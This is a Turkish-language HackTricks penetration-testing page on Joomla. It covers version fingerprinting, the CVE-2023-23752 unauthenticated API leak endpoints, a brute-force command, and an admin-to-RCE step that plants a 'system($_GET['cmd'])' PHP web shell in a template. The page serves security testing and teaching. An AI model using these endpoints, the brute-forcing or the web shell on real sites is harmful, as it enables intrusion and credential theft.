hacktricks/network-services-pentesting/pentesting-web/joomla.md

5.8 KiB
Raw Blame History

Joomla

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Joomla İstatistikleri

Joomla, Joomla kurulumlarında kullanılan Joomla, PHP ve veritabanı sürümleri ile sunucu işletim sistemlerinin dağılımı gibi bazı anonim kullanım istatistiklerini toplar. Bu veriler, kamuya açık API'leri aracılığıyla sorgulanabilir.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeration

Discovery/Footprinting

  • meta'yı kontrol et
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Versiyon

  • /administrator/manifests/files/joomla.xml dosyasında versiyonu görebilirsiniz.
  • /language/en-GB/en-GB.xml dosyasında Joomla'nın versiyonunu alabilirsiniz.
  • plugins/system/cache/cache.xml dosyasında yaklaşık bir versiyonu görebilirsiniz.

Otomatik

droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web Methodology, Joomla'yı tarayabilen CMS tarayıcıları hakkında bir bölümdür.

API Kimlik Doğrulaması Olmadan Bilgi Sızdırma:

4.0.0 ile 4.2.7 arasındaki sürümler, kimlik doğrulaması olmadan bilgi sızdırma (CVE-2023-23752) açığına sahiptir ve bu, kimlik bilgilerini ve diğer bilgileri dökebilir.

  • Kullanıcılar: http://<host>/api/v1/users?public=true

  • Konfigürasyon Dosyası: http://<host>/api/index.php/v1/config/application?public=true

MSF Modülü: scanner/http/joomla_api_improper_access_checks veya ruby script: 51334

Kaba Kuvvet

Giriş bilgilerini kaba kuvvetle denemek için bu script'i kullanabilirsiniz.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Eğer admin kimlik bilgilerini elde etmeyi başardıysanız, RCE elde etmek için içine bir PHP kodu parçası ekleyerek RCE yapabilirsiniz. Bunu şablonu özelleştirerek yapabiliriz.

  1. Aşağıda Configuration altında Templates üzerine tıklayın ve şablonlar menüsünü açın.
  2. Bir şablon adına tıklayın. Template sütun başlığı altında protostar'ı seçelim. Bu, bizi Templates: Customise sayfasına götürecek.
  3. Son olarak, sayfa kaynağını açmak için bir sayfaya tıklayabilirsiniz. error.php sayfasını seçelim. Kod yürütmek için bir PHP tek satır ekleyeceğiz:
  4. system($_GET['cmd']);
  5. Kaydet ve Kapat
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}